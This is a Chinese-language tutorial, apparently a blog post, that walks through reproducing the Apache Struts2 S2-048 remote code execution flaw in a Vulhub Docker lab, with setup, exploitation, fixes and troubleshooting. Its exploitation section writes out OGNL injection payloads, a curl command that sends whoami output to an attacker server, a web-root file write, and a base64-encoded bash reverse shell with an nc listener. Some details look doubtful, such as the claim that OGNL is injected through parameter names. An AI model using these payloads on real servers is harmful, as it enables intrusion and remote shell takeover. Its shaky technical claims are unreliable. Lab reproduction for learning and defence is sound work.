1. 项目概述:为什么Struts2-048值得你亲手复现一次
如果你是一名Web安全研究员、渗透测试工程师,或者正在学习漏洞挖掘的开发者,那么“Struts2-048”这个漏洞编号对你来说一定不陌生。它不像“永恒之蓝”那样家喻户晓,也不像Log4j那样席卷全球,但在Apache Struts2这个曾经(甚至现在)广泛使用的Java Web框架漏洞史上,S2-048绝对是一个极具代表性的“教学案例”。我之所以选择复现它,不仅仅是为了在Vulhub这样的靶场上点一个“通关”的按钮,更是因为它完美地展示了框架设计缺陷、不安全的默认配置以及开发者对用户输入盲目信任三者结合后,会引发多么严重的远程代码执行(RCE)后果。通过亲手搭建环境、构造Payload、触发漏洞并最终拿到系统Shell,你能对OGNL表达式注入、Java反序列化攻击链有一个直观且深刻的理解,这种经验远比阅读十篇分析报告来得扎实。
简单来说,Struts2-048漏洞存在于Struts2的“Struts 1插件”和“Struts 1 Action”支持中。当应用使用了这些遗留组件来处理用户请求时,攻击者可以通过精心构造的恶意OGNL(Object-Graph Navigation Language)表达式,在服务端上下文环境中执行任意Java代码。这意味着,攻击者可以完全控制服务器,执行命令、读取文件、甚至植入后门。复现这个漏洞,你将清晰地看到一行“无害”的请求参数是如何一步步被框架解析,最终变成系统命令执行入口的。这对于构建你的主动防御思维和代码审计能力至关重要。
2. 漏洞原理深度剖析:OGNL表达式的“越权”之旅
要理解S2-048,我们必须先搞懂两个核心概念:Struts2的“Struts 1插件”和OGNL表达式。Struts2为了兼容老旧的Struts1应用,提供了一个名为“struts2-struts1-plugin”的插件。当你的应用引入这个插件并配置了相应的Action时,框架就会启用一套兼容Struts1的请求处理流程。问题就出在这个流程中对用户输入的处理上。
2.1 OGNL:强大的表达式语言与危险的双刃剑
OGNL是Struts2中用于绑定视图层(JSP)和数据模型(Action)的表达式语言,功能非常强大。它不仅能访问对象的属性,还能调用对象的方法、进行类型转换、甚至执行基本的算术和逻辑运算。在正常情况下,OGNL表达式的执行被严格限制在“值栈”这个安全沙箱内,只能操作应用公开的、预期的数据。
然而,Struts2历史上多个严重漏洞(如S2-045、S2-046、S2-048等)的根源,都在于攻击者找到了方法,将用户输入的恶意数据“注入”到了本应受控的OGNL解析流程中。在S2-048中,这个注入点就是“Struts 1 Action”的actionForm属性。
2.2 漏洞触发点:不设防的actionForm属性
当请求被Struts1插件处理时,框架会尝试将HTTP请求参数绑定到对应的ActionForm对象上。在这个过程中,有一个关键步骤:框架会使用OGNL表达式来设置ActionForm对象的属性值。如果开发者像下面这样配置了一个Struts1 Action:
<action path="/vulnAction" type="org.apache.struts.action.Action" name="vulnForm"> ... </action>当用户访问/vulnAction.do并提交参数时,参数名会被直接当作OGNL表达式的一部分进行求值。例如,攻击者提交这样一个请求:
POST /vulnAction.do HTTP/1.1 ... vulnForm.(#_memberAccess[\"allowStaticMethodAccess\"]=true,#foo=new java.lang.ProcessBuilder(\"whoami\"),#foo.start())=test框架在解析时,会试图将参数值test通过OGNL表达式vulnForm.(恶意代码)设置到vulnForm对象上。但关键在于,括号()内的整个内容都会被当作OGNL表达式执行!这就彻底绕过了所有的安全限制。
核心原理总结:S2-048的本质是,在Struts1插件处理请求时,对
ActionForm属性名(即请求参数名)的解析没有进行有效的安全过滤和沙箱限制,导致攻击者可以将任意OGNL表达式作为参数名的一部分传入,并被服务器端执行。
2.3 与同类漏洞的横向对比
为了让你更清楚S2-048的定位,这里简单对比一下Struts2家族的几个著名RCE漏洞:
| 漏洞编号 | 影响版本 | 触发点 | 利用特点 |
|---|---|---|---|
| S2-048 | Struts 2.3.x (with Struts1 plugin) | Struts1 Action的actionForm属性名 | 利用参数名注入OGNL,需应用配置了Struts1插件和Action。 |
| S2-045 | Struts 2.3.5 - 2.3.31, 2.5 - 2.5.10 | 文件上传的Content-Type头 | 基于Jakarta Multipart解析器,通过恶意Content-Type触发,影响面极广。 |
| S2-046 | 同S2-045 | 文件上传的文件名(Content-Disposition) | 是S2-045的变种,利用点不同,原理相似。 |
| S2-061 | Struts 2.0.0 - 2.5.25 | 标签的属性值(如%{...}) | 对OGNL表达式二次评估的安全绕过,常出现在数据回显的场景。 |
可以看到,S2-048的利用条件相对特殊(需要Struts1插件),但一旦满足条件,利用方式直接且威力巨大。它提醒我们,在引入任何“兼容性”或“插件”功能时,必须对其安全性进行重新评估。
3. 靶场环境搭建与配置详解
理论分析之后,我们进入实战环节。一个稳定、隔离的测试环境是安全研究的基石。这里我强烈推荐使用Docker和Vulhub来搭建漏洞复现环境,它简单、干净,并且可以一键还原。
3.1 环境准备与工具清单
在开始之前,请确保你的操作机(可以是物理机或虚拟机)上已经安装好以下工具:
- Docker & Docker Compose:这是运行Vulhub靶场的基础。去Docker官网下载对应你操作系统的稳定版本安装即可。
- Git:用于拉取Vulhub项目代码。
- Burp Suite或Postman:用于拦截、重放和构造HTTP请求。Burp Suite是专业首选,Postman更轻量。
- 一个Linux环境(推荐):虽然Docker在Windows和macOS上也能运行,但后续的一些命令操作在Linux终端下更为顺畅。我使用的是Ubuntu 22.04。
- Java环境(可选):如果你想深入调试或编译自己的Payload,本地需要安装JDK。
实操心得:环境隔离的重要性永远不要在联网的生产环境或个人开发机上直接复现漏洞。使用Docker容器可以将漏洞环境完全隔离,即使容器被“攻破”,也不会影响宿主机。复现完成后,一个
docker-compose down命令就能销毁所有痕迹,安全又环保。
3.2 使用Vulhub一键搭建S2-048环境
Vulhub项目收集了大量预置的漏洞环境Docker配置,是我们学习的神器。
# 1. 克隆Vulhub项目到本地 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入Struts2漏洞目录下的S2-048子目录 cd struts2/s2-048 # 3. 使用Docker Compose启动漏洞环境 docker-compose up -d执行完上述命令后,Docker会从网络拉取镜像并启动容器。你可以通过docker ps命令查看容器是否正常运行。如果一切顺利,你会看到一个名为vulhub-struts2-s2-048的容器正在运行,并将宿主机的8080端口映射到了容器的8080端口。
此时,在浏览器中访问http://your_host_ip:8080/,你应该能看到一个简单的Struts2集成Struts1插件的演示页面。页面上通常会有一个表单,这就是我们的攻击入口。
3.3 环境结构初探与漏洞点定位
启动环境后,我们可以稍微深入一下,看看容器里有什么。这有助于理解漏洞应用的构成。
# 进入正在运行的容器内部(将CONTAINER_ID替换为你的实际容器ID) docker exec -it CONTAINER_ID /bin/bash # 查看Web应用的部署目录,通常是/usr/local/tomcat/webapps/ROOT ls -la /usr/local/tomcat/webapps/ROOT/WEB-INF/在这个目录下,你可能会找到web.xml、struts-config.xml等配置文件。对于S2-048,关键就在于struts-config.xml中是否定义了使用Struts1 Action的配置。Vulhub的镜像已经为我们配置好了存在漏洞的Action,例如一个路径为/integration/saveGangster的Action。
了解这些,不是为了让我们去修改代码,而是为了建立“攻击面”的认知。我们知道漏洞触发需要一个特定的URL路径(Struts1 Action的路径),这将在我们构造攻击时起到关键作用。
4. 漏洞利用实战:从Payload构造到获取Shell
环境就绪,靶标已立。现在,让我们扮演攻击者,一步步实现远程代码执行。
4.1 信息收集:找到攻击入口
首先,我们需要确认漏洞存在的迹象。访问靶场首页,查看页面源代码或表单的提交地址。在Vulhub的S2-048环境中,通常会有一个表单,其action属性指向类似/integration/saveGangster.action或/xxx.do的地址。这个.action或.do后缀就是Struts1/Struts2请求的典型特征。
更直接的方法是,查看Vulhub项目s2-048目录下的README.md或相关源码,里面通常会直接给出漏洞的触发URL。假设我们确定的漏洞URL是:http://192.168.1.100:8080/integration/saveGangster.action
4.2 构造核心OGNL Payload
这是最关键的一步。我们需要构造一个能执行命令的OGNL表达式,并将其嵌入到请求参数名中。一个经典的Payload结构如下:
(paramName).(恶意OGNL表达式)=任意值对于S2-048,paramName需要对应目标Action所期望的ActionForm属性名。如果无法确定,可以尝试使用通用属性名,或者利用Burp Suite的Intruder模块进行模糊测试。在已知的漏洞利用中,常用的属性名如name、age等可能有效。
一个用于执行id命令的Payload示例如下:
(name).(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.ProcessBuilder(new java.lang.String[]{"id"}),#foo.start())=testPayload逐段解析:
(name).(...)=test:表示我们要设置name属性的值为test,但括号内的OGNL表达式会先被执行。#_memberAccess["allowStaticMethodAccess"]=true:这是一个关键的“开锁”步骤。在Struts2的安全机制中,默认禁止通过OGNL调用静态方法。这行代码动态修改了安全配置,允许静态方法访问。#foo=new java.lang.ProcessBuilder(new java.lang.String[]{"id"}):创建一个ProcessBuilder对象,用于执行系统命令。这里将要执行的命令是id。使用String数组是为了避免命令参数中的空格等问题。#foo.start():启动进程,执行命令。
4.3 使用Burp Suite发起攻击
图形化工具比CURL命令更直观,也便于调试。
- 配置代理:打开Burp Suite,确保Proxy拦截功能开启,并将浏览器代理设置为Burp(如127.0.0.1:8080)。
- 拦截请求:在浏览器中,向漏洞URL
http://192.168.1.100:8080/integration/saveGangster.action提交一个正常的表单(如果有的话),或者直接访问该URL。Burp会拦截到这个GET或POST请求。 - 修改请求:将拦截到的请求发送到Burp的Repeater模块(右键菜单选择
Send to Repeater)。在Repeater中,我们将请求修改为POST方式(如果原本是GET),并修改请求体。 - 注入Payload:在请求体部分,将内容类型设置为
application/x-www-form-urlencoded,然后填入我们的恶意参数。例如:POST /integration/saveGangster.action HTTP/1.1 Host: 192.168.1.100:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 你的Payload长度 (name).(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.ProcessBuilder(new java.lang.String[]{"id"}),#foo.start())=test - 发送请求并观察响应:点击“Send”按钮。如果漏洞存在且Payload正确,服务器会执行
id命令,但命令的输出通常不会直接返回在HTTP响应中。这是因为ProcessBuilder.start()是异步执行的,输出流到了别处。
4.4 进阶利用:反弹Shell与输出捕获
直接执行命令却看不到结果,这显然不能满足我们的需求。在实战中,我们需要将命令执行的结果回传。有两种常见思路:
方法一:通过DNS或HTTP请求外带数据执行一个能触发网络访问的命令,将结果作为域名或URL的一部分发送到我们控制的服务器。
(name).(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/sh","-c","curl http://your-server.com/`whoami`"}),#foo.start())=test这个Payload会执行whoami命令,并将结果拼接到向your-server.com发起的HTTP请求URL中,你只需要在你的服务器上查看访问日志即可看到结果。
方法二:写入Web目录再访问如果知道Web应用的绝对路径,可以将命令结果写入一个Web可访问的文件。
(name).(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/sh","-c","whoami > /usr/local/tomcat/webapps/ROOT/result.txt"}),#foo.start())=test执行后,访问http://192.168.1.100:8080/result.txt就能看到whoami的输出。
方法三:使用编码Payload反弹Shell(最有效)这是最经典的方式,直接获取一个交互式Shell。我们需要提前在公网服务器上监听一个端口。
- 在攻击机上用Netcat监听:
nc -lvnp 4444 - 构造一个能反弹Shell的命令。由于OGNL表达式和URL中特殊字符很多,通常需要将命令进行Base64编码。
# 要执行的命令:/bin/bash -i >& /dev/tcp/your_server_ip/4444 0>&1 # 先进行Base64编码 echo -n "/bin/bash -i >& /dev/tcp/your_server_ip/4444 0>&1" | base64 # 假设得到编码后字符串:L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3lvdXJfc2VydmVyX2lwLzQ0NDQgMD4mMQo= - 构造OGNL Payload,解码并执行:
(name).(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/sh","-c","echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3lvdXJfc2VydmVyX2lwLzQ0NDQgMD4mMQo= | base64 -d | bash"}),#foo.start())=test - 发送Payload,如果成功,你的Netcat监听端就会收到一个来自目标服务器的Shell连接。
注意事项:Payload编码与转义OGNL表达式和HTTP协议本身有很多特殊字符(如
#,(,),",',&,=,空格等)。在Burp的Repeater中直接粘贴复杂Payload可能会被错误解析。稳妥的做法是:
- 在Burp中,先输入一个简单的Payload测试通路。
- 对于复杂Payload,使用Burp的
Ctrl+U(URL编码整个Payload)或Ctrl+Shift+U(URL解码)功能进行处理。通常,我们需要将整个参数名(即包含OGNL表达式的部分)进行URL编码后再发送。- 在Java字符串中,双引号需要转义为
\",如new java.lang.String[]{\"id\"}。
5. 漏洞修复方案与安全开发启示
成功复现漏洞并拿到Shell,证明了漏洞的危险性。但作为安全从业者,我们的最终目标是帮助修复和预防。针对S2-048,修复方案是明确且直接的。
5.1 官方修复方案
Apache Struts官方在发现该漏洞后,迅速发布了新版本和安全公告。根本的修复方法是升级Struts2框架版本。
- 对于Struts 2.3.x系列,应升级至Struts 2.3.32或更高版本。
- 对于Struts 2.5.x系列,应升级至Struts 2.5.10.1或更高版本。
新版本在struts2-struts1-plugin插件中,加强了对传入的ActionForm属性名的过滤和验证,禁止了其中包含的OGNL表达式执行。
5.2 临时缓解措施
如果因为兼容性等原因无法立即升级,可以考虑以下临时方案:
- 移除或禁用Struts1插件:检查你的应用是否真的需要使用
struts2-struts1-plugin.jar。如果只是历史遗留代码但已无实际用途,果断移除该JAR包是最彻底的方法。 - 严格过滤输入:在全局过滤器或拦截器中,对请求参数名进行严格的检查,过滤掉包含括号
()、井号#、反斜杠\等OGNL表达式关键字符的请求。但这是一种黑名单机制,可能存在绕过风险。 - 使用Web应用防火墙(WAF):部署WAF规则,拦截含有典型OGNL注入特征的请求。例如,可以定义规则来阻断参数名中包含
#_memberAccess、new java.lang.ProcessBuilder等关键字的请求。
5.3 对开发者的安全启示
S2-048给所有Java Web开发者上了一堂深刻的安全课:
- 谨慎使用兼容性与插件:框架的兼容性功能在带来便利的同时,也可能引入未知的安全风险。在引入插件时,必须充分了解其安全记录和配置要求。
- 最小权限原则:Struts2的OGNL沙箱本意是好的,但动态关闭安全开关(如
allowStaticMethodAccess)的设计是危险的。在框架设计和应用配置中,应始终坚持最小权限原则,非必要不开放高权限功能。 - 持续关注安全更新:像Struts2、Log4j2这样的基础组件,一旦曝出漏洞影响巨大。建立依赖库清单,定期使用SCA(软件成分分析)工具扫描,并及时应用安全补丁,应成为开发流程的强制环节。
- 输入验证与输出编码:这虽然是老生常谈,但永远是防御注入攻击的第一道防线。对所有用户输入进行严格的、基于白名单的验证,并在输出时进行正确的编码。
6. 复现过程中的常见问题与排查实录
即使按照步骤操作,你也可能会遇到一些问题。这里我记录了几个复现S2-048时最常见的“坑”及其解决方法。
6.1 问题一:发送Payload后无任何反应,返回500错误或空白页
- 可能原因1:Payload语法错误或转义问题。OGNL表达式非常“娇气”,少一个括号、多一个引号,或者特殊字符未正确转义都会导致解析失败,服务器抛出异常后返回500错误。
- 排查方法:首先使用一个最简单的Payload测试,例如只执行一个无害的静态方法调用,验证漏洞通道是否畅通。
如果这个能成功(可以登录容器查看(name).(#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('touch /tmp/test123'))=test/tmp/test123文件是否创建),说明基础利用是通的,问题出在复杂Payload的构造上。仔细检查命令字符串的引号、转义和编码。 - 可能原因2:目标属性名不对。
(name).这里的name需要是目标ActionForm实际存在的属性。如果属性不存在,OGNL表达式可能不会被执行。 - 排查方法:尝试使用更通用的属性名,如
username,id,age等。或者,如果条件允许,查看应用源码或配置文件,确定正确的属性名。也可以使用Burp Intruder,用一个简单的Payload(如执行touch /tmp/test)配合常见属性名字典进行模糊测试。
6.2 问题二:命令执行了,但看不到输出或无法反弹Shell
- 可能原因1:
ProcessBuilder.start()是异步的。正如前面提到的,这个方法启动进程后立即返回,标准输出和错误输出与我们发起的HTTP请求流无关。 - 解决方法:采用“外带数据”或“写入文件”的方式获取输出,如前文所述。
- 可能原因2:容器内没有
/bin/bash或命令路径不对。Docker基础镜像可能非常精简,只包含/bin/sh。 - 解决方法:将Payload中的
/bin/bash改为/bin/sh。使用which命令探测容器内可用的工具:(name).(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.ProcessBuilder(new java.lang.String[]{"which","curl"}),#foo.start())=test,然后利用找到的工具。 - 可能原因3:网络限制。容器可能无法访问外网,导致DNS或HTTP外带数据失败,反弹Shell也连不出来。
- 解决方法:尝试写入Web目录的方案。或者,在启动Vulhub环境时,确保Docker容器的网络模式允许对外访问(默认的桥接模式通常可以)。
6.3 问题三:升级到“安全版本”后,Payload依然能执行
- 可能原因:依赖的JAR包没有真正更新。Maven或Gradle项目可能存在依赖缓存,或者服务器上部署的War包仍是旧版本。
- 排查方法:
- 检查项目
pom.xml或build.gradle中Struts2的版本号是否已修改。 - 执行
mvn dependency:tree | grep struts或gradle dependencies | grep struts查看实际解析的依赖版本。 - 检查最终部署的WAR包中,
WEB-INF/lib/目录下的struts2-core-xxx.jar和struts2-struts1-plugin-xxx.jar的文件版本号。 - 彻底清理构建缓存(
mvn clean)并重新打包部署。
- 检查项目
6.4 问题四:使用反弹Shell Payload时,Netcat监听端无连接
- 可能原因1:IP地址或端口错误。确保Payload中填写的
your_server_ip和端口与Netcat监听的一致,且该端口未被防火墙屏蔽。 - 可能原因2:编码或命令拼接错误。Base64编码解码过程容易出错,特别是包含重定向符号
>&时。建议先在本地Linux机器上测试编码后的命令是否能正确执行。
执行前,先在另一个终端用# 本地测试命令 echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS80NDQ0IDA+JjEK" | base64 -d | bashnc -lvnp 4444监听,看看本地测试能否成功反弹。如果本地都不行,说明命令或编码有问题。 - 可能原因3:目标系统禁止出站连接。企业的服务器可能设有严格的出站规则。
- 解决方法:尝试其他获取结果的方式,如写入Web目录。
复现漏洞的过程,本质上是一个不断调试和解决问题的过程。每一个错误信息、每一个异常状态都是线索。保持耐心,结合原理分析,利用Burp Suite的Repeater和Intruder模块进行反复测试和模糊探测,你总能找到突破口。这份在“攻防实验室”里磨练出的排查能力,在未来进行真实渗透测试或代码审计时,将是你最宝贵的财富。